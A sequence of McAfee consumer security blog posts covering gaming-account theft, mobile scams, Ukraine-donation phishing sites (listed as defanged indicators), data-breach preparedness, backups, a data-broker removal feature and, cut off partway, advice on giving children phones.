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Lock Down & Level Up: Protect Your Online Gaming from Hackers

By Lily Saleh

As a gamer, you love the stuff you’ve racked up over the years—that rare Fortnite skin from six seasons ago, a complete set of Tier 20 armor in World of Warcraft, or a Steam account loaded with your favorite titles. Hackers love it too. Because they can make money off it. 

Hackers have been stealing and reselling online gaming accounts for some time now. Yet the recent 400 percent rise in online gaming theft shouldn’t come as a surprise, particularly as so many of us turned to games for entertainment lately. As people leveled up, gathered loot, and filled their libraries with games in the cloud, hackers saw the opportunity.  

The opportunity is this: gaming accounts have a street value. The virtual items and perks we acquire through gaming take time, effort, participation, and sometimes just good luck to build up. In a way, we’ve worked hard to earn our fun. Meanwhile, others out there are willing to take a shortcut. There are those who’ll pay for a well-stocked gaming account that someone else has built up, and hackers are more than willing to hijack accounts from innocent victims and sell them online. 

Put simply, the virtual goods in your gaming accounts are like any other good. They have value. And just like anything else you value, they’re worth protecting. That’s exactly what we’ll help you do here.  

Sanctioned markets, gray markets, and dark markets: Where gaming goods are sold 

First up, let’s take a quick look at the different ways digital goods get moved and sold out there—just to get a sense of the marketplaces that have cropped up around gaming and where hackers fit into the mix. 

And there are several. Over the years we’ve seen all kinds of gaming marketplaces crop up, whether they’re sanctioned marketplaces built inside of online games, gray marketplaces that exist outside of games, and dark marketplaces where stolen accounts and goods are exchanged. 

1. Sanctioned marketplaces 

As a gamer, you’re likely familiar with any number of sanctioned auction houses and marketplaces that are built right into online games, all designed and supported by the game’s developers. A classic example is the long-running auction house in World of Warcraft where players can buy and sell items with in-game currency, the World of Warcraft gold piece. And as marketplaces can go, the rarer and more coveted the item, the higher the price the seller can get for it. In fact, there are plenty of articles on how to play the markets for profit, in a quasi-stock market-like fashion, and all within the legitimate boundaries of the game.  

In recent years, we’ve also seen the rise of in-game currencies that players can purchase for cash, again by design and with the support of the developer. A couple of examples are the World of Warcraft Tokens and Minecraft tokens and coins. What you can do with such tokens and coins varies from game to game, yet players can use them to acquire in-game currency, items, or paid to play time. 

Increasingly common are in-game stores that allow players to purchase items and perks with cash, just like any other online store. Taken together with all the other ways a player can round up items in a game, it’s easy to see how a gamer’s account can grow into something somewhat unique and valuable over time, simply by playing and participating in the game. 

2. Gray market “boosters” and other services for cash 

With the time it takes for a player to level up a powerful character and acquire the items that can come along with it, there are out-of-game organizations that will, for a fee, do that work for a player in return for payment. Essentially it involves a player starting a gaming account, rolling up a character, and then handing over the account to a “booster” who will play the game on the owner’s behalf. When the agreed-upon level is reached, the booster hands back the character to the owner. 

Of course, there are all kinds of potential problems with this. Strictly from a security standpoint, this means an account owner is handing over their credentials to a stranger, with no real guarantee that this stranger simply won’t change the account password, never hand back the account, and simply walk away with any funds that may have been paid upfront. 

Further, “boosting” and other similar services may be against the user agreement the player signed when joining up for the game. For example, World of Warcraft recently updated its policy, stating that they now, 

[P]rohibit organizations who offer boosting, matchmaking, escrow, or other non-traditional services, including those offered for gold. World of Warcraft accounts found to be in violation of this policy are subject to account actions. These actions can include warnings, account suspensions and, if necessary, permanent closure of the disruptive World of Warcraft account(s).  

So while “boosting” services may not be illegal themselves, they can run counter to user agreements and may lead to cases of fraud when a booster service fails to fulfill its commitment or simply locks a player out of their own account. 

3. Dark market sale of stolen gaming accounts and goods 

Then there’s the theft and resale of online game accounts, clear examples of digital goods illegally changing hands. Stolen accounts make their way into dark web marketplaces and ads on chat platforms and social media, thanks to hackers who’ve cracked previously legitimate accounts and then packaged them up for sale. In some instances, cybercriminals will sell entire game collections, such as online gaming platform accounts where gamers may have purchased and have access to dozens and dozens of games stored in the cloud. 

The method behind this theft is much like a credit card or bank account hack. Often using credentials lifted from a data breach, hackers will take known usernames and passwords and feed them into a credential stuffing application—which can then attempt to access hundreds, even thousands, of accounts through automated login requests.  

Given that many users out there use the same passwords across their accounts makes them an easy target for this practice and can reap a large harvest of cracked accounts. From there, the account can be accessed, have its password changed, and then made ready for advertising and sale, where an account can be resold for a few dollars, or for potentially thousands depending on what the account contains.  

Protecting your online gaming account from getting hacked 

There’s plenty you can do. A few simple steps on your part can drop some serious roadblocks in the way of a hacker who’s looking to crack your account or target you for a scam. 

1. Passwords, passwords, passwords

Each of your accounts should have its own strong, unique password. No repeats. And if you have some sixty-plus accounts across all the shopping, banking, gaming, and forum posting you do, not to mention your apps, that sounds like a lot of work. Because it is. Although it doesn’t have to be. A password manager can do the work for you by creating and storing strong, unique passwords for you. 

2. News of a data breach? Change your password

Data breaches happen all the time now, striking businesses both large and small. If a business or organization where you have an online account gets breached, change your password right away. Related to the above, make sure the passwords across your other accounts are strong and unique. It’s not uncommon for hackers to try breaching passwords in other accounts, all in the hope that the victim is using the same or a similar password on other accounts as well. 

3. Multifactor your defense

Several gaming services offer multi-factor authentication (MFA) as a means of protecting accounts. In addition to requiring a username and password to log in, MFA further verifies account activity by sending a unique code to the email address or text to a device you own, which makes gaining illegal access that much tougher for hackers. Some gaming platforms even support an authentication app, such as the Battle.net Authenticator, offered by Blizzard. In all, the occasional extra clicks required by MFA can really save you some massive headaches by preventing theft. If you have MFA as an option, strongly consider using it. 

4. Don’t feed the phish  

Phishing attacks have made the jump from email to bogus ads on social media and in search too. In short, a phishing attack involves the hacker posing as a well-known company or organization with the intent of fooling you into providing your username and password. With that, they can drain your account, whether it’s money from your bank account or goods in your gaming account. Spotting phishing attacks can call for a sharp eye nowadays because some hackers can make the phishing emails and sites they use look like the real thing. Comprehensive online protection software will include web protection that can spot bogus links and sites and warn you away from them, even if they look legit. 

5. Watch out for “spearphishers”, too

Spearphishers are a special sort, in that they make more targeted attacks. While a phisher will send out an email blast or attempt to rope in a high volume of victims with an ad, a spearphisher will send a direct message to specific, potential victims. You may have seen or heard of this in massively multiplayer online games where an otherwise unknown player sends a message to another with a link to a website, complete with the promise of loot, in-game currency, or services to level up characters. Ignore and don’t visit that link. Chances are it’s a scammer, or at least someone who may be breaking the game’s user agreement by offering such services.  

6. Mods and malware

Whether you’re downloading a mod, an expansion, or a new game itself, go with a reputable online store or source. Hackers will drop malware into all kinds of files and applications, games included. Given that such malware could log keystrokes that steal login info, inject ransomware code to hold your device and data hostage, or simply wreak havoc on your files and things, it can have implications for more than just your gaming accounts and the virtual assets you have with them. 

Play defense 

Hackers know there’s good money in gaming accounts. They wouldn’t bother with them otherwise. Realizing that your gaming account has value is the first step to protecting it. 

In addition to taking the steps above, consider comprehensive online protection software. It offers defense in breadth and depth, covering everything from device security, privacy, and identity protection. However, if you want an even faster and safer gaming experience, gamer security is worth looking into. In addition to strong security features, it also offers performance-enhancing technologies that prioritize system resources and keep your gameplay going smooth. 

In all, keep in mind that gaming accounts are serious business for hackers. Put up your defenses. Then get out and enjoy yourself, knowing that you have made it far, far tougher for them to ruin your fun. 

The post Lock Down & Level Up: Protect Your Online Gaming from Hackers appeared first on McAfee Blog.

McAfee 2022 Consumer Mobile Threat Report

By McAfee

We’re excited to bring you the latest edition of the McAfee 2022 Consumer Mobile Threat Report. After all, when you know the challenges you face, it’s easier to be confident online. In this blog, we’ll take a closer look at some leading examples of techniques that cybercriminals are using to trick or defraud you via your mobile phone. These examples are some of the more sophisticated attacks, using real logos, quality graphics, and personalized messages. We hope this provides a useful resource for protecting your digital life, mobile devices, and personal information so that you can enjoy a safe life online with your family. 

Cybercriminals Take Their Scams to the Next Level

Cybercriminals are upping their game, using personal information and high-quality graphics to make their malware look like legitimate apps or official messages. Because these attacks are successful at defrauding significant numbers of mobile users out of their money and information, more criminals will jump on this approach or expand their malicious campaigns. Let’s take a look at some of the different techniques being used by scammers to fool mobile users.  

Smishing looks friendly but is just the opposite

Mobile smishing (aka phishing text messages) are attacks using personalized greetings in text messages that pretend to be from legitimate organizations to appear more credible. These messages often link to websites with authentic logos, icons, and other graphics, prompting the user to enter personal information or download an app. Users should be extra careful about text messages from unknown sources and should go directly to the organization’s website to validate requests. 

Mobile gaming scams pose as gamer help and cheating tools

Cheating tools and hacking apps are popular ways to get extra capabilities in mobile games. Criminals are exploiting this by promoting game hacking apps that include malicious code on legitimate messaging channels. If installed, the malware steals account credentials for social media and gaming accounts. Gamers should use caution when installing game hacks, especially if they request superuser permissions. 

Crypto is popular and so are scams targeting it

Cryptocurrencies are providing new opportunities for mobile device attacks. The latest ploy is phony apps that promise to mine coins in the cloud for a monthly fee. Fake reviews and a low cost make them sound too good to be true—and they are. These apps just take the money without doing any coin mining. With no actual malicious code, these apps are hard to detect, so users should be suspicious of being promised hundreds or thousands of dollars of crypto coins for just a few dollars a month. 

Watch out for fake messaging apps

Another attack uses a variety of fake apps with slick graphics to trick users into premium subscriptions. Hundreds of these apps promise features such as mobile games or photo editing and are supported by plenty of fake five-star reviews. When installed, the apps ask for the user’s phone number and verification PIN and use them to sign up for premium text services that direct payments to the criminals. Users should read reviews looking for vague statements, repetitive wording, and a mix of five-star and one-star ratings. For a deeper dive into the scams, be sure to view full report.

How to Protect Yourself 

While threat tactics continue to change as criminals adapt and respond to detection and enforcement techniques, there are a few steps users should take to limit their exposure and risk. 

Stay on the app stores

While some malicious apps do make it through the app store screening process, most of the attack downloads appear to be coming from social media, fake ads, and other unofficial app sources. Before downloading something to your phone, do some quick research about the source and developer. Many of these scams have been flagged by other people. 

Watch requests for settings and permissions

Many malicious apps get the access they need by asking the user to grant them permission to use unrelated privileges and settings. When installing a new app, take a few moments to read these requests and deny any that seem unnecessary, especially for superuser access and accessibility services.  

Update your software

Developers are actively working to identify and address security issues. Both operating systems and apps should be frequently updated so that they have the latest fixes and security protections. 

Be wary of too many five-star reviews

Cybercriminals often flood their Google Play apps with fake five-star reviews. Many fake or malicious apps only have a mix of five-star and one-star reviews. The five-star ones typically have vague statements and repetitive wording, giving clues that they are submitted by bots. Compare them to the one-star reviews for insight on the app’s real capabilities. 

Pay attention if your phone is acting funny

Devices that are behaving unusually may just have a basic tech issue but it can also be a sign of being hacked. Follow up when something is not quite right, check recent changes or contact tech support from the mobile device vendor or security software provider. 

Use security software

Comprehensive security software across all devices, whether they are computers, tablets, or smartphones, continues to be a strong defensive measure to protect your data and privacy from cyber threats. 

We hope this report helps you stay on the lookout for these and other mobile threats so you can safely and confidently enjoy your life online.

The post McAfee 2022 Consumer Mobile Threat Report appeared first on McAfee Blog.

Scammers are Exploiting Ukraine Donations

By McAfee Labs

Authored by Vallabh Chole and Oliver Devane

Scammers are very quick at reacting to current events, so they can generate ill-gotten gains. It comes as no surprise that they exploited the current events in Ukraine, and when the Ukrainian Twitter account tweeted Bitcoin and Ethereum wallet addresses for donations we knew that scammers would use this as a lure for their victims.

This blog covers some of the malicious sites and emails McAfee has observed in the past few weeks.

Crypto wallet donation scams

A crypto donation scam occurs when perpetrators create phishing websites and emails that contain cryptocurrency wallets asking for donations. We have observed several new domains being created which perform this malicious activity, such as ukrainehelp[.]world and ukrainethereum[.]com.

Ukrainhelp[.]world

Below is a screenshot of Ukrainehelp[.]world, which is a phishing site asking for crypto donations for UNICEF. The website contains the BBC logo and several crypto wallet addresses.

While investigating this site, we observed that the Ethereum wallet used use was also associated with an older crypto scam site called eth-event20.com. The image below shows the current value of the crypto wallet which is worth $114,000. Interestingly this wallet transfers all its coins to 0xc95eb2aa75260781627e7171c679a490e2240070 which in turn transfers to 0x45fb09468b17d14d2b9952bc9dcb39ee7359e64d. The final wallet currently has 313 ETH which is worth over $850,000. This shows the large sums of money scammers can generate with phishing sites.

Ukrainethereum[.]com

Ukrainethereum[.]com is another crypto scam site, but what makes this one interesting is the features it contains to gain the victim’s confidence in trusting the website such as a fake chatbox and a fake donation verifier.

Fake Chat

The image above shows the chatbox on the left-hand side which displays several messages. At first glance, it would appear as if other users are on the website and talking, but when you reload the site it shows the same messages. This is due to the chat messages being displayed from a list that is used to populate the website with JavaScript code as shown on the right-hand side.  

Fake Donation Verifier 

The site contains a donation checker so the victim can see if their donation was received, as shown below. 

 

  1. The first image on left shows the verification box for donation to check if it is completed or not 
  2. Upon clicking ‘Check’ the victim is shown a message to say the donation was received.  
  3. What occurs, is upon clicking ‘Check’ the JavaScript code changes the website code so that it displays the ‘Thanks!’ message, and no actual check is performed. 

Phishing Email 

The following image shows one of the examples of phish emails we have observed. 

The email is not addressed to anyone specifically as they are mass-mailed to multiple email addresses. The wallet IDs in the email are not associated with the official Ukraine Twitter and are owned by scammers. As you can see in the image above, they are similar as the first 3 characters are the same. This could lead to some users believing it is legitimate. Therefore, it’s important to check that the wallet address is identical.  

Credit Card Information Stealer 

This is the most common type of phishing website. The goal of these sites it entices the victim into entering their credit card and personally identifiable information (PII) data by making them believe that the site being visited is official. This section contains details on one such website we have found using Ukraine donations as a lure.  

Razonforukrain[.]com 

The image below shows the phishing site. The website was used to save the children’s NGO links and images, which made it appear more genuine. You can see that is it asking the victim to enter their credit card and billing information.  

Once the data is entered, and the victim clicks on ‘Donate’, the information will be submitted via the form and will be sent to scammers so they can then use or sell the information. 

We observed that a few days after the website was created, the scammers change the site code so that it became a Mcdonald’s phishing site targeting the Arab Emirates. This was a surprising change in tactics. 

The heatmap below shows the detections McAfee has observed around the world for the malicious sites mentioned in this blog. 

Conclusion 

How to identify a phishing email? 

  • Look for the domain from where you received mail, attackers masquerade it. 
  • Use McAfee Web Advisor as this prevents you from accessing malicious sites 
  • If McAfee Web Advisor is not used, links can be manually checked at https://trustedsource.org/. 
  • Perform a Web Search of any crypto wallet addresses. If the search returns no or a low number of hits it is likely fraudulent. 
  • Check for poor grammar and suspicious logos  
  • For more detailed advice please visit McAfee’s How to recognize and protect yourself from phishing page 

How to identify phishing websites? 

  • Use McAfee Web Advisor as this prevents you from accessing malicious sites 
  • Look at the URL of the website which you are visiting and make sure it is correct. Look for alterations such as logln-paypal.com instead of login.paypal.com 
  • If you are unsure that the website is legitimate. Perform a Web search of the URL. You will find many results If they are genuine. If the search returns no or a low number of hits it is likely fraudulent 
  • Hyperlinks and site addresses that do not match the sender – Hover your mouse over the hyperlink or call-to-action button in the email. Is the address shortened or is it different from what you would expect from the sender? It may be a spoofed address from the 
  • Verify if the URL and Title of the page match. Such as the website, razonforukraine[.]com with a title reading “McDonald’s Delivery” 

For general cyber scam, education click here

McAfee customers are protected against the malicious sites detailed in this blog as they are blocked with McAfee Web Advisor 

 

Type  Value  Product  Detected 
URL – Phishing Sites   ukrainehelp[.]world  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   ukrainethereum[.]com  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   unitedhelpukraine[.]kiev[.]ua/  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   donationukraine[.]io/donate  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   help-ukraine-compaign[.]com/shop  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   ukrainebitcoin[.]online/  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   ukrainedonation[.]org/donate  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   ukrainewar[.]support  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   sendhelptoukraine[.]com  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   worldsupportukraine[.]com  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   paytoukraine[.]space  McAfee WebAdvisor   Blocked 
URL – Phishing Sites   razonforukraine[.]com  McAfee WebAdvisor   Blocked 

 

The post Scammers are Exploiting Ukraine Donations appeared first on McAfee Blog.

White House Announces Possible Rise in Cyberattacks—What You Can Do to Stay Safe

By McAfee

The White House recently reissued a warning to American businesses in response to the unprecedented economic sanctions the U.S. has imposed on Russia for the Ukraine invasion, stating, “There is now evolving intelligence that Russia may be exploring options for potential cyberattacks.”  

Along with this statement, the White House published a fact sheet outlining the new and ongoing steps the government is taking to protect its infrastructure and technologies, along with steps that private businesses can take to protect themselves from attacks as well.  

Of course, any successful attack on government operations and the operations of private businesses could potentially affect households as well—such as in the case of data breaches where data or information is stolen from a system, often the personal data and information of individuals. 

Word of potential attacks understandably leaves people feeling uncertain and may further leave them wondering if there’s anything they can do to protect themselves. With regards to data breaches and the cases of identity theft that typically follow, there are several steps people can take to keep safer online.  

Let’s break down what a data breach looks like, how it can affect you, and what you can do in advance of a breach to protect yourself. 

Examples of data breaches in the past 

We’ve certainly seen data breaches make the news over the years, which are often (but not always) associated with malicious hackers or hacker organizations. A quick list of some of the largest and most impactful breaches we’ve seen in recent years: 

  • Facebook – 2019: Two datasets leaked the records of more than 530 million users, including phone numbers, account names, Facebook IDs, and more. 
  • Marriott International (Starwood) – 2018. Leakage of 500,000 guest names, emails, actual mailing addresses, phone numbers, passport numbers, Starwood Preferred Guest account information, date of birth, and information about stays. 
  • Equifax – 2017. Approximately 147 million records, including name, address, date of birth, driver’s license numbers, and Social Security Numbers were leaked, as well as credit card information for a further 200,000 victims. 

Healthcare facilities have seen their data breached, along with the operations of popular restaurants. Small businesses find themselves in the crosshairs as well, with one report stating that 43% of data leaks target small businesses. Those may come by way of an attack on where those businesses store their records, a disgruntled employee, or by way of a compromised point-of-sale terminal in their store, office, or location. 

What differs with the White House warning is who may end up being behind these potential attacks—a nation-state rather than what are financially motivated hackers or hacking groups. (Some research indicates that nearly 90% of breaches are about the money.) However, the result is the same. Your personal information winds up loose in the world and possibly in the hands of a bad actor.   

What can get exposed in a data breach?  

The fact is that plenty of our information is out there on the internet, simply because we go about so much of our day online, whether that involves shopping, banking, getting results from our doctors, or simply hopping online to play a game once in a while.  

Naturally, that means the data in any given breach will vary from service to service and platform to platform involved. Certainly, a gaming service will certainly have different information about you than your insurance company. Yet broadly speaking, there’s a broad range of information about you stored in various places, which could include:  

  • Username and password 
  • E-mail address 
  • Phone numbers and home address 
  • Contact information of friends and family 
  • Date of birth 
  • Driver’s license number 
  • Credit card and debit card numbers, bank account details 
  • Purchase history and account behavior history 
  • Patient information (in the case of healthcare breaches) 
  • Social Security Number or Tax ID Number 

As to what gets exposed and when you might find out about it, that can vary greatly as well. One industry research report found that 60% of breaches were discovered in just days from the initial attack while others could take months or even longer detect. Needless to say, the timeline can get rather stretched before word reaches you, which is a good reason to change your passwords regularly should any of them get swept up in a breach. (An outdated password does a hacker no good—more on that in a bit.) 

What do cybercriminals do with this kind of information? 

The answer is plenty. In all, personal information like that listed above has a dollar value to it. In a way, your data and information are a kind of currency because they’re tied to everything from your bank accounts, investments, insurance payments—even tax returns and personal identification like driver’s licenses.  

With this information in hand, a crook can commit several types of identity crimes—ranging from fraud to theft. In the case of fraud, that could include running up a bill on one of your credits cards or draining one of your bank accounts. In the case of theft, that could see crooks impersonate you so they can open new accounts or services in your name. Beyond that, they may attempt to claim your tax refund or potentially get an ID issued in your name as well. 

Another possibility is that a hacker will simply sell that information on the dark marketplace, perhaps in large clumps or as individual pieces of information that go for a few dollars each. However it gets sold, these dark-market practices allow other fraudsters and thieves to take advantage of your identity for financial or another gain.  

Protecting yourself from the effects of data breaches 

The succinct answer is to sign up for an identity protection service. It can monitor dozens of types of personal information and then alert you if any of them are possibly being misused, so you can address any issues right away before they become a potentially much bigger problem.  

Further, pairing identity protection with online protection software can protect you even more. With an all-up view of your overall online security—how well you’re protecting yourself and your identity online—it can guide you through steps that can shore up your protection and make you safer still. 

Identity protection such as ours gives you the added benefit of a professional recovery specialist who can assist with restoring your affairs in the wake of fraud or theft, plus up to $1 million in insurance coverage. 

What if I think I’m the victim of identity theft? 

When a business, service, or organization falls victim to a breach, it doesn’t always mean that you’re automatically a victim too. Your information may not have been caught up in it. However, it’s best to act as if it was. With that, we strongly suggest you take these immediate steps. 

Change your passwords and use two-factor authentication 

Given the possibility that your password may be in the hands of a bad actor, change it right away. Strong, unique passwords offer one of your best defenses against hackers. Update them regularly as well. As mentioned above, this can protect you in the event a breach occurs and you don’t find out about it until well after it’s happened. You can spare yourself the upkeep that involves a password manager that can keep on top of it all for you. If your account offers two-factor authentication as part of the login process, make use of it as it adds another layer of security that makes hacking tougher.  

Keep an eye on your accounts 

If you spot unusual or unfamiliar charges or transactions in your account, bank, or debit card statements, follow up immediately. That could indicate improper use. In general, banks, credit card companies, and many businesses have countermeasures to deal with fraud, along with customer support teams that can help you file a claim if needed. 

Sign up for an identity theft protection service 

As outlined above, identity protection like ours can monitor a broad set of your personal information and provide you guidance for making it more secure, in addition to getting help from a professional recovery specialist.  

For an even closer look at identity theft, we have two articles that can help guide the way if you think you’re a victim, each featuring a series of straightforward steps you can take to set matters right: 

Proactively protecting yourself and your family 

No matter how uncertain news of possible cyberattacks may any of us feel, you can take steps to set some of that uncertainty aside. An identity protection service is a strong first move against possible identity theft, as is pairing it with online protection software that keeps you safer online overall. Likewise, knowing the signs of possible identity theft and what you can do to address it right away offer further assurance still—like having the services of a professional recovery specialist to help.  

In all, there’s no need to leave yourself wondering at the news from the White House. As an individual, you have it in your power to make yourself and your family safer than they are now. 

The post White House Announces Possible Rise in Cyberattacks—What You Can Do to Stay Safe appeared first on McAfee Blog.

It’s World Backup Day! Here’s How You Can Preserve Your Files

By McAfee

Let’s play a game. Go to the Photos app on your phone and look at the total number of videos and images on your device – all those precious memories of family vacations, clips from your favorite concert, and countless snapshots of your furry companion. Next, open your laptop or desktop and check to see how many documents you have saved — perhaps all the research reports you have saved to defend your graduate thesis or an important slideshow you’re presenting to your boss on Monday. If you had to guess, would you say the total number of these various pieces of data is into the thousands? Now imagine if all this data was suddenly gone. What would you do?  

You might be thinking, “That will never happen to me.” However, this situation is more common than you think. More than 60 million computers will fail worldwide this year, and over 200,000 smartphones are lost or stolen every year. That’s why we’re celebrating World Backup Day by sharing how you can properly back up your files and find peace of mind knowing that your data is safe and sound.  

What Are Backups and Why Are They Important? 

A backup is a separate copy of your important and sentimental digital files and information. Storing all that data in one place, like a personal computer or smartphone, can prove unsafe. Creating another copy of that data through a backup will ensure that it’s stored and kept safe somewhere else should your device get wiped or stolen. 

It’s important to recognize that data loss isn’t something that only happens to huge corporations or unsuspecting victims in spy movies. Everyone is susceptible to data loss or theft and backing up that data is an easy step to protect all your information and prevent cybercriminals from taking what isn’t theirs. 

Data Storage 101 

Data is one of the most important assets in the modern world. As we illustrated earlier, people collect countless files that contain valuable information they want to keep safe. Luckily, there are two common and inexpensive ways that a user can store their data and their ever-important backups.  

Cloud storage  

Although “the cloud” became a major buzzword years ago, its definition is still cloudy for some folks. The cloud exists in remote data centers that you can access via the internet. Any data you’ve uploaded to the cloud exists on dedicated servers and storage volumes housed in distant warehouses, often situated on campuses full of such warehouses. Data centers are owned by cloud service providers, who are responsible for keeping the servers up and running.  

To keep your data physically safe from theft and destruction, and to make sure it’s available whenever you want to access it, data centers run extensive cooling systems to keep the electronics from overheating and have at least one backup generator in case of power outages. But how do they make sure that this data is secure in the cybersphere? Cloud systems use authentication processes like usernames and passwords to limit access, and data encryption to protect data that is stolen or intercepted. However, it’s important to remember that passwords can be hacked. Typically, the service provider holds the encryption keys to your data, meaning that rogue employees could, theoretically, access it. Likewise, your data could also potentially be searched and seized by government entities. 

This begs the question: Trust or don’t trust? Because cloud storage companies live and die by their reputation, you can rest assured knowing that they go to great lengths to use the most advanced security techniques and provide the most reliable service possible. To help ensure the security of your data should you choose to store or back it up to the cloud, keep anything truly sensitive in a private cloud behind a firewall.  

External hard drive  

With an external hard drive, you can manually back up all your data and files yourself onto a physical device that you can access anytime. These drives are a reliable way to achieve data redundancy. An external hard drive doesn’t rely on internet access like cloud-based services and is an easy fix when transferring data to a new device. However, using external hard drives requires a more hands-on approach to backing up your data. It’s your responsibility to regularly perform backups yourself and store your hard drive in a safe location. While cloud solutions offer huge amounts of storage, storage space on hard drives are limited, so you may have to purchase more than one device. Look for an external drive with at least a terabyte of space to accommodate all your data, which tends to accumulate quickly. 

Kickstart Your Digital Spring Cleaning  

As you’re cleaning out your garage and tidying up your home, take the same care to do some digital spring cleaning this World Backup Day. Give your devices, apps, and online accounts a good decluttering and gain more peace of mind knowing that all your valuable data is stored in a safe, secure place … and that you have a backup in case something goes awry. Remember, proactivity goes a long way toward shoring up your cybersecurity and protecting your information.   

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Introducing Personal Data Cleanup

By McAfee

We’re excited to announce the release of McAfee’s Personal Data Cleanup, a new feature that finds and removes your personal info from data brokers and people search sites. Now, you can feel more confident by removing personal info from data broker sites and keeping it from being collected, sold, and used to: advertise products to you, fill your email box with spam, and can even give criminals the info they need to steal your identity. Let’s look at why we’re offering McAfee Personal Data Cleanup, how it protects your privacy, and why it’s a great addition to the online protection we already offer. 

Does the cost of a connected life have to be your privacy?

There’s so much to enjoy when you live a connected life – free email, online stores that remember what you like, social media that connects you to friends and influencers. It’s a world of convenience, opportunity, and incredible content. It’s also a world where your data is constantly collected.  

“Wait. Did you say my data?” 

That’s right, companies are collecting your personal data. They’re called data brokers and they make money by selling information that specifically identifies you, like an email address. They sell this information to marketers looking to target you with ads. Criminals can also use it to build profiles in service of stealing your identity and accessing your accounts. This activity takes place behind the scenes and often without consumers’ knowledge.  There are also data brokers known as people search sites that compile and sell info like home addresses, emails, phones, court records, employment info, and more. These websites give identity thieves, hackers, stalkers, and other malicious actors easy access to your info. Regardless of how your data is being used, it’s clear that these days a more connected life often comes at the cost of your privacy.  

Consumers are clamoring for more privacy online 

In a recent survey of McAfee customers, we found that 59% have become more protective of their personal data over the past six months. And it’s no wonder. Over the past two years, trends like telehealth, remote working, and increased usage of online shopping and financial services have meant that more of your time is being spent online. Unsurprisingly, more personal data is being made available in the process. This leads us to the most alarming finding of our survey – 95% of consumers whose personal information ends up on data broker sites had it collected without their consent.  

 

Free to enjoy privacy online with McAfee’s Personal Data Cleanup 

We created Personal Data Cleanup to make it easy for you to take back your privacy online. McAfee’s Personal Data Cleanup regularly scans the riskiest data broker sites for info like your home address, date of birth, and names of relatives. After showing where we found your data, you can either remove it yourself or we will work on your behalf to remove it. Here’s how it works: 

  • Set up 
    • Input your name, date of birth, and home address. 
  • Scan:  
    • We scan this against some of the riskiest data broker sites 
  • Review 
    • Within minutes, we’ll show you where we found your personal info, and what info the sites have. 
  • Remove 
    • You can manually go to each site and request that your data be removed OR upgrade to have McAfee manage the removal process on your behalf. 
  • Ongoing 
    • Your info can reappear as data brokers continually collect data. To ensure ongoing protection, Personal Data Cleanup enables regular scanning so it can be removed. 

Start using McAfee’s Personal Data Cleanup right now 

Ready to take back your personal info online? Personal Data Cleanup is available immediately with most of our online protection plans. If you have an eligible subscription, you can start using this new feature through McAfee Protection Center, or you can get McAfee online protection here.

The post Introducing Personal Data Cleanup appeared first on McAfee Blog.

My Child Wants a Phone. Should I Say ‘Yes’?

By Alex Merton-McCann

I can remember so clearly the day I got my first mobile phone. I was 21, had just finished university and was beyond excited at the idea of driving around in my red Mazda 121 (bubble car) making calls on my new fancy phone! The fact that it was the size of a brick, didn’t bother me a bit – I was connected!! 

Without a doubt, mobile phones have completely changed our expectations of being connected and contactable. If calls or texts are not promptly returned in 2022, the lack of reply may be interpreted as rude or, worst case – the sender may feel that they’ve been ghosted! 

So, in our super-connected society, it’s inevitable that our kids want to get in on the action. But when is the right time to give them a phone of their own? And how can you keep them safe? 

Research Shows Nearly 50% of Aussie kids aged 6-13 Access A Mobile Phone 

In 2020, the Australian Communications and Media Authority released a report, entitled Kids and Mobiles: how Australian children are using mobile phones, which found that in 2020, just under half (46%) of Aussie children aged 6 to 13 used a mobile phone. 33% of children owned the phone they used while the remaining 14% used a device that didn’t belong to them. 

The research also showed that playing games, taking photos/videos, and using apps were the most common activities undertaken on a mobile phone. Using the phone to communicate via text messages and calling a parent or family member was also a common activity – and actually increased in the three years prior. 

And if your tweens and teens are telling you that “everyone has a phone” then it looks like they are on the money, with the report revealing that 76% of 12- and 13-year-olds own their own devices.  

How To Decide When The Time Is Right? 

In my opinion, there are many factors that need to be considered when making this big decision. You need to take into account your child’s maturity, their technology habits, and most importantly, your gut instinct – one of the most powerful parenting tools, in my opinion!  

And please, don’t think that is a one size fits all answer here because there absolutely isn’t. If there is one thing parenting 4 boys has taught me is that not only does each child have different strengths, but they mature at their own pace. So, when considering whether your child is ready, don’t think about their age. Instead, ask yourself whether they can handle the technology properly and robust enough to navigate the tricky stuff. A naïve 14-year-old with low social awareness may not be as ready as a savvy 12-year-old who has previously demonstrated successful problem-solving skills. 

Here are some things to consider: 

  • Can your child read social cues in written form eg messaging and texting apps. 
  • How would your child respond if they experienced hurtful comments?  
  • Can your child manage valuable items carefully? Do they tend to lose items? 
  • Do they have enough self-control to manage their own screen time? 
  • Are you confident they would come to you if they experienced a problem? 
  • Do they understand the value of money? Is it likely they will spend money on their phone if unsupervised? 
  • Are you confident they understand the importance of their online reputation? 
  • Does your child display empathy? 

What Rules Should I Introduce? 

Let me share my biggest piece of advice – before you put that phone into your child’s hand, PLEASE set the ground rules. Their willingness to co-operate will be vastly reduced once the phone is theirs! Some families choose to outline the ground rules for any device (including a phone) in a family technology agreement. And it’s not a bad idea: you develop the rules and the boundaries and then have them sign it – just like a contract. I love this agreement from America’s Family Online Safety Institute (FOSI) which you can find here. But why not develop your own one? Here are some points to consider including: 

  • Kindness and respect in all communication on the phone – always! 
  • No mobile phones to be kept in bedrooms overnight. They all need to be placed in the kitchen for charging. 
  • No mobile phones to be used at the dinner table. 
  • Who pays for the excess data? You or them? 
  • Who pays for in-app purchases? You or them? 
  • Who pays if the phone is lost or damaged? You or them? 
  • If they see anything that upsets or concerns them, they must always come to you. 
  • Take screenshots of behavior that concerns them 
  • You may want to have the right to view their phone – of course, in younger children, this is more appropriate.  
  • Are there certain times when the phone isn’t allowed? 
  • Who will know the passwords? 

I’m a Fan of Phones in High School 

In my opinion, starting high school seems to be a logical time to start thinking about phone ownership, if you haven’t gone down that road before. Many kids will need to catch public transport to get to high school and having a phone in their pocket, in case plans go awry can make everyone feel more comfortable. 

Remember, You’re In Charge!! 

I realize that there is so much to consider so take some time to weigh up all factors.  

